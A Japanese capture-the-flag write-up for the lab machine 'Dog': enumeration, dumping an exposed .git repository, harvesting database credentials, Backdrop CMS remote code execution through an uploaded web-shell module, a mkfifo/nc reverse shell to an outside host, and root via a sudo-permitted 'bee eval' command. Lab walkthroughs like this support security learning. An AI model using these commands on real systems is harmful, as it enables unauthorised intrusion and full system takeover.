✨
TryHackMe - Dog
- まずはnmap
- 22: ssh
- 80: http Apache/2.4.41
- Dogというサイト
- Apache 2.4.41はExploit Databaseで調べても脆弱性ヒットせず
-
curl -I <URL>でHEADリクエストを送りHTTPヘッダだけもらう- Backdrop CMS 1というCMSを使用
- Exploit Databaseで調べると脆弱性がヒット
- https://www.exploit-db.com/exploits/52021
- Backdrop CMS 1というCMSを使用
- 脆弱性調査では
searchsploitが使える- Exploit DBの情報をローカルに持っておき検索
- gobustersで列挙
$ gobuster dir -u http://10.10.11.58/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
- filesが気になる
- config_83dddd18e1ec67fd8ff5bba2453c7fb3という特徴的なディレクトリがあるので探索
-
config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.jsonにてメアド発見- tiffany@dog.htb"
- .gitが見つかった
- git-dumperというツールを使えばリポジトリをgitディレクトリの情報からダンプできる
- https://github.com/arthaud/git-dumper
-
pip install git-dumperでインストール
-
$ git-dumper http://10.10.11.58/.git ./git-dump/で実行- git-dumperを使わずとも次の手順で復元可能
-
wget -r -np -nH --cut-dirs=3 -R "index.html*" http://target.com/.git/で.git配下のファイルを再帰的にダウンロード - ダウンロード先のディレクトリで
git checkout .することで、.gitの内容から作業ツリーを復元
-
- .gitディレクトリにはコミット履歴などの全情報が入っているためこれがあればファイルを復元できるらしい
- git-dumperを使わずとも次の手順で復元可能
- git-dumperというツールを使えばリポジトリをgitディレクトリの情報からダンプできる
- git-dumperを用いてサイトのディレクトリの中身を復元。settings.phpを確認するとrootの認証情報を発見
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
- user: tiffany@dog.htb, password: BackDropJ2024DS2024とするとダッシュボードにログイン成功
- metasploit frameworkで脆弱性を検索したがヒットせず
-
msfconsoleでコンソールを起動、search backdropで検索したが使えるものは見つからず
-
- Exploit DBで見つけた脆弱性を使用
$ python exploit_backdrop.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
- このスクリプトを実行すると/modules/shell/shell.phpにweb shellが設置されるはずなのだが失敗
- shellの作成は出来たがアップロードできなかった
-
tar -czvf shell.tar.gz shellでshellをtar.gzに圧縮 - dashboardのinstall modulesからアップロードしたら
/modules/shell/shell.phpにアップロードできた
- Remote Code Executionに成功。これを利用してリバースシェルを貼る。
- ローカルで待ち受け
nc -lvnp 443
- リモートから接続
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.16.22 443 > /tmp/f
- リモートで
python3 -c 'import pty;pty.spawn("/bin/bash")'を実行してptyを生成
- ローカルで待ち受け
-
/home/johncusackにuser.txtがあるのを発見したがpermission denied -
su johncusackでjohncusackとしてログイン- パスワードを求められたので先程settings.phpから得たrootのパスワードを使用したら通った
-
sudo -lでsudoersファイルに設定された権限を確認、sudoでやれることを探す-
/usr/local/bin/beeが使えるらしい
-
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
- beeのhelpによると、rootオプションを付けた後にcommandを受け付けるとのこと。commandとしてevalを受け付ける。これにより任意のPHPコードを実行できる。
- phpの
system()を使えばPHPからOSコマンドを呼べる。
- phpの
- 以下のコマンドによってシェルを起動
sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash -p');"- user IDとgroup IDが異なる状況でbashを立ち上げるとuser IDを参照するためrootとして起動できない
-
-pをつけることでBashを起動した時にrootの特権を放棄しない
- rootとしてシェルを立ち上げてroot flagを奪取
Discussion